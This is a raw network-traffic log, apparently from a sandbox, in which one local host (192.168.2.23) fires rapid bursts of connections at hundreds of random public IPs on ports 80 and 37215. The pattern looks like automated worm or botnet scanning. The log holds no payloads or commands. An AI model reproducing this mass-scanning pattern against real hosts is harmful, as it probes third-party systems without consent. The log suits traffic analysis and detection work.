Feb 4, 2025 18:17:39.427886009 CET	46308	80	192.168.2.23	197.206.178.134
Feb 4, 2025 18:17:39.427886009 CET	46308	80	192.168.2.23	74.175.161.10
Feb 4, 2025 18:17:39.427886009 CET	46308	80	192.168.2.23	195.28.140.156
Feb 4, 2025 18:17:39.427902937 CET	46308	80	192.168.2.23	60.10.205.132
Feb 4, 2025 18:17:39.427902937 CET	46308	80	192.168.2.23	192.42.208.206
Feb 4, 2025 18:17:39.427902937 CET	46308	80	192.168.2.23	31.40.0.203
Feb 4, 2025 18:17:39.427902937 CET	46308	80	192.168.2.23	213.15.196.85
Feb 4, 2025 18:17:39.427906990 CET	46308	80	192.168.2.23	108.130.19.26
Feb 4, 2025 18:17:39.427911043 CET	46308	80	192.168.2.23	170.61.186.228
Feb 4, 2025 18:17:39.427925110 CET	46308	80	192.168.2.23	112.32.170.139
Feb 4, 2025 18:17:39.427926064 CET	46308	80	192.168.2.23	155.102.235.58
Feb 4, 2025 18:17:39.427926064 CET	46308	80	192.168.2.23	58.108.163.19
Feb 4, 2025 18:17:39.427928925 CET	46308	80	192.168.2.23	14.251.102.195
Feb 4, 2025 18:17:39.427926064 CET	46308	80	192.168.2.23	84.216.206.179
Feb 4, 2025 18:17:39.427928925 CET	46308	80	192.168.2.23	193.54.163.213
Feb 4, 2025 18:17:39.427928925 CET	46308	80	192.168.2.23	35.84.60.55
Feb 4, 2025 18:17:39.427941084 CET	46308	80	192.168.2.23	137.187.36.158
Feb 4, 2025 18:17:39.427941084 CET	46308	80	192.168.2.23	57.140.49.253
Feb 4, 2025 18:17:39.427941084 CET	46308	80	192.168.2.23	53.122.227.188
Feb 4, 2025 18:17:39.427942038 CET	46308	80	192.168.2.23	133.65.86.255
Feb 4, 2025 18:17:39.427943945 CET	46308	80	192.168.2.23	167.106.77.142
Feb 4, 2025 18:17:39.427962065 CET	46308	80	192.168.2.23	222.66.55.179
Feb 4, 2025 18:17:39.427966118 CET	46308	80	192.168.2.23	184.213.80.31
Feb 4, 2025 18:17:39.427966118 CET	46308	80	192.168.2.23	155.231.168.118
Feb 4, 2025 18:17:39.427975893 CET	46308	80	192.168.2.23	32.209.64.59
Feb 4, 2025 18:17:39.427975893 CET	46308	80	192.168.2.23	209.185.252.148
Feb 4, 2025 18:17:39.427994013 CET	46308	80	192.168.2.23	103.20.151.233
Feb 4, 2025 18:17:39.427994967 CET	46308	80	192.168.2.23	39.111.11.51
Feb 4, 2025 18:17:39.427994967 CET	46308	80	192.168.2.23	25.225.191.181
Feb 4, 2025 18:17:39.427994967 CET	46308	80	192.168.2.23	92.179.93.8
Feb 4, 2025 18:17:39.427997112 CET	46308	80	192.168.2.23	171.78.206.12
Feb 4, 2025 18:17:39.427997112 CET	46308	80	192.168.2.23	181.253.37.98
Feb 4, 2025 18:17:39.427999020 CET	46308	80	192.168.2.23	85.236.96.137
Feb 4, 2025 18:17:39.427999973 CET	46308	80	192.168.2.23	184.20.80.180
Feb 4, 2025 18:17:39.427999973 CET	46308	80	192.168.2.23	62.66.104.112
Feb 4, 2025 18:17:39.427999973 CET	46308	80	192.168.2.23	145.243.97.28
Feb 4, 2025 18:17:39.427999973 CET	46308	80	192.168.2.23	68.87.222.25
Feb 4, 2025 18:17:39.428016901 CET	46308	80	192.168.2.23	196.233.27.54
Feb 4, 2025 18:17:39.428018093 CET	46308	80	192.168.2.23	78.159.208.145
Feb 4, 2025 18:17:39.428018093 CET	46308	80	192.168.2.23	124.10.168.228
Feb 4, 2025 18:17:39.428018093 CET	46308	80	192.168.2.23	31.130.162.28
Feb 4, 2025 18:17:39.428018093 CET	46308	80	192.168.2.23	58.166.147.112
Feb 4, 2025 18:17:39.428023100 CET	46308	80	192.168.2.23	159.175.206.89
Feb 4, 2025 18:17:39.428023100 CET	46308	80	192.168.2.23	61.237.101.219
Feb 4, 2025 18:17:39.428029060 CET	46308	80	192.168.2.23	120.181.213.152
Feb 4, 2025 18:17:39.428030968 CET	46308	80	192.168.2.23	156.153.95.11
Feb 4, 2025 18:17:39.428030968 CET	46308	80	192.168.2.23	195.107.188.241
Feb 4, 2025 18:17:39.428036928 CET	46308	80	192.168.2.23	38.163.240.144
Feb 4, 2025 18:17:39.428036928 CET	46308	80	192.168.2.23	47.98.102.254
Feb 4, 2025 18:17:39.428036928 CET	46308	80	192.168.2.23	201.6.238.92
Feb 4, 2025 18:17:39.428037882 CET	46308	80	192.168.2.23	117.173.177.37
Feb 4, 2025 18:17:39.428066969 CET	46308	80	192.168.2.23	211.25.137.247
Feb 4, 2025 18:17:39.428067923 CET	46308	80	192.168.2.23	165.253.2.199
Feb 4, 2025 18:17:39.428072929 CET	46308	80	192.168.2.23	200.175.239.28
Feb 4, 2025 18:17:39.428073883 CET	46308	80	192.168.2.23	114.220.50.173
Feb 4, 2025 18:17:39.428073883 CET	46308	80	192.168.2.23	111.168.41.177
Feb 4, 2025 18:17:39.428073883 CET	46308	80	192.168.2.23	203.14.101.51
Feb 4, 2025 18:17:39.428076029 CET	46308	80	192.168.2.23	199.26.204.21
Feb 4, 2025 18:17:39.428100109 CET	46308	80	192.168.2.23	59.76.228.233
Feb 4, 2025 18:17:39.428101063 CET	46308	80	192.168.2.23	36.127.203.152
Feb 4, 2025 18:17:39.428101063 CET	46308	80	192.168.2.23	120.183.75.56
Feb 4, 2025 18:17:39.428112030 CET	46308	80	192.168.2.23	59.1.93.19
Feb 4, 2025 18:17:39.428112030 CET	46308	80	192.168.2.23	37.65.237.144
Feb 4, 2025 18:17:39.428112030 CET	46308	80	192.168.2.23	12.137.95.134
Feb 4, 2025 18:17:39.428114891 CET	46308	80	192.168.2.23	146.94.7.248
Feb 4, 2025 18:17:39.428114891 CET	46308	80	192.168.2.23	150.195.23.21
Feb 4, 2025 18:17:39.428114891 CET	46308	80	192.168.2.23	205.66.163.23
Feb 4, 2025 18:17:39.428128958 CET	46308	80	192.168.2.23	222.166.81.211
Feb 4, 2025 18:17:39.428128958 CET	46308	80	192.168.2.23	189.71.135.133
Feb 4, 2025 18:17:39.428129911 CET	46308	80	192.168.2.23	134.253.75.222
Feb 4, 2025 18:17:39.428129911 CET	46308	80	192.168.2.23	47.228.50.206
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	75.98.82.217
Feb 4, 2025 18:17:39.428129911 CET	46308	80	192.168.2.23	87.255.186.244
Feb 4, 2025 18:17:39.428132057 CET	46308	80	192.168.2.23	94.77.249.208
Feb 4, 2025 18:17:39.428129911 CET	46308	80	192.168.2.23	110.169.100.234
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	107.94.180.85
Feb 4, 2025 18:17:39.428132057 CET	46308	80	192.168.2.23	8.141.12.117
Feb 4, 2025 18:17:39.428132057 CET	46308	80	192.168.2.23	39.9.71.46
Feb 4, 2025 18:17:39.428129911 CET	46308	80	192.168.2.23	217.130.232.167
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	5.135.46.197
Feb 4, 2025 18:17:39.428132057 CET	46308	80	192.168.2.23	125.12.11.22
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	178.3.143.209
Feb 4, 2025 18:17:39.428132057 CET	46308	80	192.168.2.23	186.144.186.213
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	79.245.102.87
Feb 4, 2025 18:17:39.428124905 CET	46308	80	192.168.2.23	131.71.180.89
Feb 4, 2025 18:17:39.428134918 CET	46308	80	192.168.2.23	96.189.207.66
Feb 4, 2025 18:17:39.428134918 CET	46308	80	192.168.2.23	96.190.88.64
Feb 4, 2025 18:17:39.428144932 CET	46308	80	192.168.2.23	68.202.212.41
Feb 4, 2025 18:17:39.428144932 CET	46308	80	192.168.2.23	192.115.212.244
Feb 4, 2025 18:17:39.428145885 CET	46308	80	192.168.2.23	47.19.99.87
Feb 4, 2025 18:17:39.428144932 CET	46308	80	192.168.2.23	170.120.254.75
Feb 4, 2025 18:17:39.428145885 CET	46308	80	192.168.2.23	82.89.73.37
Feb 4, 2025 18:17:39.428150892 CET	46308	80	192.168.2.23	108.61.154.198
Feb 4, 2025 18:17:39.428150892 CET	46308	80	192.168.2.23	65.193.182.37
Feb 4, 2025 18:17:39.428150892 CET	46308	80	192.168.2.23	212.221.1.168
Feb 4, 2025 18:17:39.428152084 CET	46308	80	192.168.2.23	144.16.217.152
Feb 4, 2025 18:17:39.428152084 CET	46308	80	192.168.2.23	128.242.236.53
Feb 4, 2025 18:17:39.428152084 CET	46308	80	192.168.2.23	182.203.220.30
Feb 4, 2025 18:17:39.428157091 CET	46308	80	192.168.2.23	47.213.76.32
Feb 4, 2025 18:17:39.428157091 CET	46308	80	192.168.2.23	197.148.18.213
Feb 4, 2025 18:17:39.428159952 CET	46308	80	192.168.2.23	117.29.80.78
Feb 4, 2025 18:17:39.428172112 CET	46308	80	192.168.2.23	107.55.139.88
Feb 4, 2025 18:17:39.428172112 CET	46308	80	192.168.2.23	103.67.203.173
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	203.177.237.129
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	209.233.27.104
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	187.248.181.211
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	13.149.84.89
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	182.43.65.70
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	141.57.114.232
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	32.146.121.46
Feb 4, 2025 18:17:39.428174973 CET	46308	80	192.168.2.23	169.88.22.217
Feb 4, 2025 18:17:39.428177118 CET	46308	80	192.168.2.23	169.95.235.117
Feb 4, 2025 18:17:39.428185940 CET	46308	80	192.168.2.23	58.98.88.132
Feb 4, 2025 18:17:39.428185940 CET	46308	80	192.168.2.23	186.59.248.159
Feb 4, 2025 18:17:39.428185940 CET	46308	80	192.168.2.23	139.19.38.157
Feb 4, 2025 18:17:39.428185940 CET	46308	80	192.168.2.23	87.203.131.15
Feb 4, 2025 18:17:39.428185940 CET	46308	80	192.168.2.23	106.70.183.102
Feb 4, 2025 18:17:39.428189993 CET	46308	80	192.168.2.23	91.18.74.169
Feb 4, 2025 18:17:39.428189993 CET	46308	80	192.168.2.23	206.251.38.4
Feb 4, 2025 18:17:39.428189993 CET	46308	80	192.168.2.23	220.222.106.204
Feb 4, 2025 18:17:39.428199053 CET	46308	80	192.168.2.23	170.77.240.212
Feb 4, 2025 18:17:39.428200006 CET	46308	80	192.168.2.23	212.128.59.149
Feb 4, 2025 18:17:39.428205013 CET	46308	80	192.168.2.23	185.40.152.222
Feb 4, 2025 18:17:39.428209066 CET	46308	80	192.168.2.23	80.176.35.61
Feb 4, 2025 18:17:39.428209066 CET	46308	80	192.168.2.23	91.223.48.146
Feb 4, 2025 18:17:39.428209066 CET	46308	80	192.168.2.23	37.141.111.55
Feb 4, 2025 18:17:39.428210020 CET	46308	80	192.168.2.23	159.193.52.156
Feb 4, 2025 18:17:39.428215027 CET	46308	80	192.168.2.23	190.143.154.186
Feb 4, 2025 18:17:39.428219080 CET	46308	80	192.168.2.23	173.13.0.150
Feb 4, 2025 18:17:39.428231001 CET	46308	80	192.168.2.23	207.126.248.116
Feb 4, 2025 18:17:39.428234100 CET	46308	80	192.168.2.23	67.238.113.94
Feb 4, 2025 18:17:39.428234100 CET	46308	80	192.168.2.23	107.245.61.50
Feb 4, 2025 18:17:39.428241968 CET	46308	80	192.168.2.23	41.49.66.115
Feb 4, 2025 18:17:39.428242922 CET	46308	80	192.168.2.23	20.96.186.159
Feb 4, 2025 18:17:39.428244114 CET	46308	80	192.168.2.23	192.148.91.79
Feb 4, 2025 18:17:39.428244114 CET	46308	80	192.168.2.23	131.248.189.151
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	17.109.225.92
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	150.74.6.124
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	97.233.12.210
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	23.33.231.214
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	191.42.78.11
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	80.52.246.202
Feb 4, 2025 18:17:39.428263903 CET	46308	80	192.168.2.23	199.84.55.231
Feb 4, 2025 18:17:39.428261995 CET	46308	80	192.168.2.23	217.243.163.147
Feb 4, 2025 18:17:39.428263903 CET	46308	80	192.168.2.23	94.228.104.175
Feb 4, 2025 18:17:39.428272963 CET	46308	80	192.168.2.23	41.211.137.165
Feb 4, 2025 18:17:39.428273916 CET	46308	80	192.168.2.23	40.86.23.159
Feb 4, 2025 18:17:39.428276062 CET	46308	80	192.168.2.23	107.18.165.23
Feb 4, 2025 18:17:39.428276062 CET	46308	80	192.168.2.23	35.217.241.219
Feb 4, 2025 18:17:39.428277016 CET	46308	80	192.168.2.23	131.74.134.2
Feb 4, 2025 18:17:39.428278923 CET	46308	80	192.168.2.23	44.140.164.5
Feb 4, 2025 18:17:39.428278923 CET	46308	80	192.168.2.23	27.179.75.69
Feb 4, 2025 18:17:39.428284883 CET	46308	80	192.168.2.23	222.88.129.248
Feb 4, 2025 18:17:39.428292036 CET	46308	80	192.168.2.23	216.72.179.56
Feb 4, 2025 18:17:39.428292036 CET	46308	80	192.168.2.23	36.39.228.125
Feb 4, 2025 18:17:39.432312965 CET	80	46308	25.153.182.167	192.168.2.23
Feb 4, 2025 18:17:39.432379961 CET	46308	80	192.168.2.23	25.153.182.167
Feb 4, 2025 18:17:39.440057039 CET	33434	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:39.440068960 CET	45996	80	192.168.2.23	96.249.104.4
Feb 4, 2025 18:17:39.440076113 CET	43008	80	192.168.2.23	140.98.137.133
Feb 4, 2025 18:17:39.440082073 CET	55980	80	192.168.2.23	192.126.86.49
Feb 4, 2025 18:17:39.440084934 CET	33732	80	192.168.2.23	222.56.47.130
Feb 4, 2025 18:17:39.440087080 CET	36212	80	192.168.2.23	74.179.26.36
Feb 4, 2025 18:17:39.440084934 CET	55560	80	192.168.2.23	220.1.67.106
Feb 4, 2025 18:17:39.440087080 CET	47634	80	192.168.2.23	208.26.96.56
Feb 4, 2025 18:17:39.440089941 CET	43508	80	192.168.2.23	151.108.222.16
Feb 4, 2025 18:17:39.440089941 CET	50706	80	192.168.2.23	223.26.208.122
Feb 4, 2025 18:17:39.440089941 CET	41722	80	192.168.2.23	202.91.232.13
Feb 4, 2025 18:17:39.440089941 CET	35520	80	192.168.2.23	108.135.171.38
Feb 4, 2025 18:17:39.440092087 CET	38148	80	192.168.2.23	62.103.62.232
Feb 4, 2025 18:17:39.440095901 CET	48128	80	192.168.2.23	177.252.48.37
Feb 4, 2025 18:17:39.440097094 CET	56168	80	192.168.2.23	48.109.120.111
Feb 4, 2025 18:17:39.440095901 CET	52548	80	192.168.2.23	158.255.135.132
Feb 4, 2025 18:17:39.440103054 CET	53944	80	192.168.2.23	153.61.226.185
Feb 4, 2025 18:17:39.440103054 CET	33642	80	192.168.2.23	155.84.9.138
Feb 4, 2025 18:17:39.440104961 CET	41590	80	192.168.2.23	186.51.207.144
Feb 4, 2025 18:17:39.440104961 CET	36976	80	192.168.2.23	134.59.130.136
Feb 4, 2025 18:17:39.440104961 CET	49294	80	192.168.2.23	42.73.2.33
Feb 4, 2025 18:17:39.440104961 CET	51752	80	192.168.2.23	94.5.253.21
Feb 4, 2025 18:17:39.440108061 CET	46302	80	192.168.2.23	116.223.199.40
Feb 4, 2025 18:17:39.440108061 CET	33064	80	192.168.2.23	76.217.228.141
Feb 4, 2025 18:17:39.440108061 CET	34770	80	192.168.2.23	77.92.135.131
Feb 4, 2025 18:17:39.440109015 CET	51872	80	192.168.2.23	87.200.167.140
Feb 4, 2025 18:17:39.440112114 CET	49440	80	192.168.2.23	80.61.91.32
Feb 4, 2025 18:17:39.440112114 CET	56996	80	192.168.2.23	1.36.195.93
Feb 4, 2025 18:17:39.440114021 CET	41528	80	192.168.2.23	139.138.146.34
Feb 4, 2025 18:17:39.440120935 CET	44124	80	192.168.2.23	39.119.57.107
Feb 4, 2025 18:17:39.440123081 CET	52964	80	192.168.2.23	100.189.171.198
Feb 4, 2025 18:17:39.440123081 CET	45134	80	192.168.2.23	85.247.59.168
Feb 4, 2025 18:17:39.440124035 CET	40988	80	192.168.2.23	65.106.31.190
Feb 4, 2025 18:17:39.440124035 CET	47648	80	192.168.2.23	50.16.12.85
Feb 4, 2025 18:17:39.440124035 CET	40768	80	192.168.2.23	86.73.243.209
Feb 4, 2025 18:17:39.440124035 CET	50630	80	192.168.2.23	138.59.44.202
Feb 4, 2025 18:17:39.440126896 CET	40412	80	192.168.2.23	154.158.81.108
Feb 4, 2025 18:17:39.440128088 CET	49522	80	192.168.2.23	216.195.195.74
Feb 4, 2025 18:17:39.440129042 CET	52324	80	192.168.2.23	40.68.156.77
Feb 4, 2025 18:17:39.440130949 CET	47984	80	192.168.2.23	86.136.224.145
Feb 4, 2025 18:17:39.440131903 CET	50388	80	192.168.2.23	185.28.239.174
Feb 4, 2025 18:17:39.440134048 CET	33870	80	192.168.2.23	111.108.32.36
Feb 4, 2025 18:17:39.440140963 CET	38804	80	192.168.2.23	211.20.84.113
Feb 4, 2025 18:17:39.440143108 CET	33376	80	192.168.2.23	193.23.71.140
Feb 4, 2025 18:17:39.440150023 CET	47100	80	192.168.2.23	198.228.165.122
Feb 4, 2025 18:17:39.440150976 CET	34898	80	192.168.2.23	86.200.83.70
Feb 4, 2025 18:17:39.440159082 CET	48888	80	192.168.2.23	121.167.98.74
Feb 4, 2025 18:17:39.440164089 CET	53844	80	192.168.2.23	188.151.165.121
Feb 4, 2025 18:17:39.440164089 CET	44510	80	192.168.2.23	125.121.52.103
Feb 4, 2025 18:17:39.440164089 CET	57284	80	192.168.2.23	58.45.246.240
Feb 4, 2025 18:17:39.440167904 CET	54608	80	192.168.2.23	187.12.121.131
Feb 4, 2025 18:17:39.440167904 CET	50756	80	192.168.2.23	159.12.16.39
Feb 4, 2025 18:17:39.440171003 CET	43326	80	192.168.2.23	97.163.222.14
Feb 4, 2025 18:17:39.440181017 CET	59500	80	192.168.2.23	47.22.162.58
Feb 4, 2025 18:17:39.440184116 CET	35436	80	192.168.2.23	39.156.146.242
Feb 4, 2025 18:17:39.440184116 CET	40110	80	192.168.2.23	213.250.194.11
Feb 4, 2025 18:17:39.440184116 CET	55392	80	192.168.2.23	172.152.8.158
Feb 4, 2025 18:17:39.440191984 CET	45632	80	192.168.2.23	184.46.243.237
Feb 4, 2025 18:17:39.440191984 CET	55004	80	192.168.2.23	102.132.116.52
Feb 4, 2025 18:17:39.440191984 CET	51122	80	192.168.2.23	79.47.247.29
Feb 4, 2025 18:17:39.440191984 CET	34342	80	192.168.2.23	71.46.78.230
Feb 4, 2025 18:17:39.440193892 CET	39552	80	192.168.2.23	131.21.240.55
Feb 4, 2025 18:17:39.440193892 CET	45114	80	192.168.2.23	63.155.228.179
Feb 4, 2025 18:17:39.440193892 CET	49044	80	192.168.2.23	165.48.146.178
Feb 4, 2025 18:17:39.440196037 CET	57068	80	192.168.2.23	163.190.140.233
Feb 4, 2025 18:17:39.440196037 CET	35882	80	192.168.2.23	90.106.11.213
Feb 4, 2025 18:17:39.440217972 CET	41802	80	192.168.2.23	208.88.96.4
Feb 4, 2025 18:17:39.440217972 CET	38540	80	192.168.2.23	194.253.105.22
Feb 4, 2025 18:17:39.440218925 CET	54324	80	192.168.2.23	38.20.10.4
Feb 4, 2025 18:17:39.440218925 CET	44312	80	192.168.2.23	154.248.139.197
Feb 4, 2025 18:17:39.440218925 CET	41012	80	192.168.2.23	19.79.65.15
Feb 4, 2025 18:17:39.440217972 CET	52636	80	192.168.2.23	211.168.206.102
Feb 4, 2025 18:17:39.440218925 CET	54306	80	192.168.2.23	62.52.74.27
Feb 4, 2025 18:17:39.440227032 CET	54872	80	192.168.2.23	208.97.62.116
Feb 4, 2025 18:17:39.440232038 CET	35016	80	192.168.2.23	40.250.122.174
Feb 4, 2025 18:17:39.440232038 CET	47308	80	192.168.2.23	160.168.18.227
Feb 4, 2025 18:17:39.440232038 CET	33286	80	192.168.2.23	139.110.215.30
Feb 4, 2025 18:17:39.440232992 CET	53008	80	192.168.2.23	129.143.47.241
Feb 4, 2025 18:17:39.440232038 CET	46418	80	192.168.2.23	126.213.48.158
Feb 4, 2025 18:17:39.440232038 CET	54526	80	192.168.2.23	81.71.196.193
Feb 4, 2025 18:17:39.440237999 CET	34262	80	192.168.2.23	147.113.242.192
Feb 4, 2025 18:17:39.440243006 CET	58562	80	192.168.2.23	42.53.134.206
Feb 4, 2025 18:17:39.440243959 CET	59828	80	192.168.2.23	17.74.174.36
Feb 4, 2025 18:17:39.440246105 CET	52858	80	192.168.2.23	84.80.19.214
Feb 4, 2025 18:17:39.440246105 CET	41178	80	192.168.2.23	196.0.86.188
Feb 4, 2025 18:17:39.440246105 CET	51110	80	192.168.2.23	133.194.61.95
Feb 4, 2025 18:17:39.440253019 CET	41616	80	192.168.2.23	175.45.20.117
Feb 4, 2025 18:17:39.440253019 CET	33476	80	192.168.2.23	5.188.116.215
Feb 4, 2025 18:17:39.440253019 CET	49972	80	192.168.2.23	19.205.249.2
Feb 4, 2025 18:17:39.440259933 CET	60158	80	192.168.2.23	203.4.29.228
Feb 4, 2025 18:17:39.440260887 CET	37104	80	192.168.2.23	68.133.14.141
Feb 4, 2025 18:17:39.440260887 CET	56648	80	192.168.2.23	42.57.193.245
Feb 4, 2025 18:17:39.440260887 CET	55366	80	192.168.2.23	102.208.218.20
Feb 4, 2025 18:17:39.440267086 CET	39318	80	192.168.2.23	195.72.189.228
Feb 4, 2025 18:17:39.440270901 CET	60926	80	192.168.2.23	197.9.167.245
Feb 4, 2025 18:17:39.444864035 CET	80	33434	133.83.119.49	192.168.2.23
Feb 4, 2025 18:17:39.444932938 CET	33434	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:39.445003986 CET	33434	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:39.445070028 CET	35158	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:39.449852943 CET	80	35158	129.59.140.45	192.168.2.23
Feb 4, 2025 18:17:39.449954033 CET	35158	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:39.449990988 CET	35158	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:39.449990988 CET	35158	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:39.449992895 CET	35160	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:39.450059891 CET	80	33434	133.83.119.49	192.168.2.23
Feb 4, 2025 18:17:39.450104952 CET	33434	80	192.168.2.23	133.83.119.49
Feb 4, 2025 18:17:39.454775095 CET	80	35158	129.59.140.45	192.168.2.23
Feb 4, 2025 18:17:39.472048998 CET	45564	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:39.472093105 CET	50676	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:39.476878881 CET	37215	45564	197.208.150.161	192.168.2.23
Feb 4, 2025 18:17:39.476938009 CET	45564	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:39.476979971 CET	37215	50676	197.177.231.91	192.168.2.23
Feb 4, 2025 18:17:39.476988077 CET	45564	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:39.477015972 CET	35556	37215	192.168.2.23	197.241.221.75
Feb 4, 2025 18:17:39.477020025 CET	35556	37215	192.168.2.23	156.132.22.133
Feb 4, 2025 18:17:39.477022886 CET	35556	37215	192.168.2.23	156.248.252.187
Feb 4, 2025 18:17:39.477022886 CET	35556	37215	192.168.2.23	156.23.112.71
Feb 4, 2025 18:17:39.477022886 CET	35556	37215	192.168.2.23	197.149.197.1
Feb 4, 2025 18:17:39.477034092 CET	35556	37215	192.168.2.23	156.203.155.157
Feb 4, 2025 18:17:39.477035046 CET	35556	37215	192.168.2.23	41.223.151.175
Feb 4, 2025 18:17:39.477035046 CET	35556	37215	192.168.2.23	156.30.218.235
Feb 4, 2025 18:17:39.477035046 CET	35556	37215	192.168.2.23	41.166.142.55
Feb 4, 2025 18:17:39.477035046 CET	35556	37215	192.168.2.23	41.154.67.29
Feb 4, 2025 18:17:39.477036953 CET	50676	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:39.477056980 CET	35556	37215	192.168.2.23	41.16.137.173
Feb 4, 2025 18:17:39.477056980 CET	35556	37215	192.168.2.23	156.115.160.240
Feb 4, 2025 18:17:39.477061033 CET	35556	37215	192.168.2.23	197.236.131.86
Feb 4, 2025 18:17:39.477075100 CET	35556	37215	192.168.2.23	156.46.162.179
Feb 4, 2025 18:17:39.477075100 CET	35556	37215	192.168.2.23	197.84.177.179
Feb 4, 2025 18:17:39.477078915 CET	35556	37215	192.168.2.23	197.51.44.22
Feb 4, 2025 18:17:39.477081060 CET	35556	37215	192.168.2.23	156.77.254.132
Feb 4, 2025 18:17:39.477094889 CET	35556	37215	192.168.2.23	197.46.239.62
Feb 4, 2025 18:17:39.477097034 CET	35556	37215	192.168.2.23	156.60.83.191
Feb 4, 2025 18:17:39.477097034 CET	35556	37215	192.168.2.23	197.26.118.122
Feb 4, 2025 18:17:39.477097988 CET	35556	37215	192.168.2.23	197.234.164.235
Feb 4, 2025 18:17:39.477102995 CET	35556	37215	192.168.2.23	156.31.26.109
Feb 4, 2025 18:17:39.477109909 CET	35556	37215	192.168.2.23	197.14.159.231
Feb 4, 2025 18:17:39.477109909 CET	35556	37215	192.168.2.23	156.19.2.41
Feb 4, 2025 18:17:39.477111101 CET	35556	37215	192.168.2.23	197.89.201.227
Feb 4, 2025 18:17:39.477114916 CET	35556	37215	192.168.2.23	156.90.87.181
Feb 4, 2025 18:17:39.477114916 CET	35556	37215	192.168.2.23	41.242.13.110
Feb 4, 2025 18:17:39.477119923 CET	35556	37215	192.168.2.23	41.255.75.7
Feb 4, 2025 18:17:39.477128983 CET	35556	37215	192.168.2.23	156.182.193.249
Feb 4, 2025 18:17:39.477128983 CET	35556	37215	192.168.2.23	197.113.49.126
Feb 4, 2025 18:17:39.477129936 CET	35556	37215	192.168.2.23	156.35.236.235
Feb 4, 2025 18:17:39.477129936 CET	35556	37215	192.168.2.23	197.49.6.202
Feb 4, 2025 18:17:39.477134943 CET	35556	37215	192.168.2.23	197.213.186.6
Feb 4, 2025 18:17:39.477139950 CET	35556	37215	192.168.2.23	156.140.196.89
Feb 4, 2025 18:17:39.477139950 CET	35556	37215	192.168.2.23	156.88.118.1
Feb 4, 2025 18:17:39.477164030 CET	35556	37215	192.168.2.23	156.102.228.151
Feb 4, 2025 18:17:39.477165937 CET	35556	37215	192.168.2.23	197.242.244.106
Feb 4, 2025 18:17:39.477165937 CET	35556	37215	192.168.2.23	156.207.55.163
Feb 4, 2025 18:17:39.477165937 CET	35556	37215	192.168.2.23	156.13.111.218
Feb 4, 2025 18:17:39.477183104 CET	35556	37215	192.168.2.23	197.16.95.168
Feb 4, 2025 18:17:39.477183104 CET	35556	37215	192.168.2.23	197.22.214.26
Feb 4, 2025 18:17:39.477184057 CET	35556	37215	192.168.2.23	156.224.50.10
Feb 4, 2025 18:17:39.477185011 CET	35556	37215	192.168.2.23	41.247.226.21
Feb 4, 2025 18:17:39.477185011 CET	35556	37215	192.168.2.23	41.177.253.60
Feb 4, 2025 18:17:39.477186918 CET	35556	37215	192.168.2.23	197.228.17.210
Feb 4, 2025 18:17:39.477186918 CET	35556	37215	192.168.2.23	156.166.208.38
Feb 4, 2025 18:17:39.477186918 CET	35556	37215	192.168.2.23	156.28.12.181
Feb 4, 2025 18:17:39.477186918 CET	35556	37215	192.168.2.23	156.195.33.122
Feb 4, 2025 18:17:39.477186918 CET	35556	37215	192.168.2.23	197.207.38.93
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	197.61.107.140
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	41.119.62.238
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	156.20.241.54
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	197.184.89.176
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	197.45.153.189
Feb 4, 2025 18:17:39.477194071 CET	35556	37215	192.168.2.23	41.187.4.152
Feb 4, 2025 18:17:39.477205038 CET	35556	37215	192.168.2.23	156.218.180.182
Feb 4, 2025 18:17:39.477205992 CET	35556	37215	192.168.2.23	41.138.254.20
Feb 4, 2025 18:17:39.477205992 CET	35556	37215	192.168.2.23	156.230.254.45
Feb 4, 2025 18:17:39.477221012 CET	35556	37215	192.168.2.23	156.61.253.223
Feb 4, 2025 18:17:39.477221012 CET	35556	37215	192.168.2.23	197.213.51.194
Feb 4, 2025 18:17:39.477229118 CET	35556	37215	192.168.2.23	156.205.128.146
Feb 4, 2025 18:17:39.477229118 CET	35556	37215	192.168.2.23	41.69.247.65
Feb 4, 2025 18:17:39.477232933 CET	35556	37215	192.168.2.23	197.128.236.37
Feb 4, 2025 18:17:39.477252960 CET	35556	37215	192.168.2.23	156.127.13.115
Feb 4, 2025 18:17:39.477252960 CET	35556	37215	192.168.2.23	41.47.49.110
Feb 4, 2025 18:17:39.477256060 CET	35556	37215	192.168.2.23	197.220.116.2
Feb 4, 2025 18:17:39.477257967 CET	35556	37215	192.168.2.23	197.184.249.158
Feb 4, 2025 18:17:39.477257967 CET	35556	37215	192.168.2.23	41.34.121.82
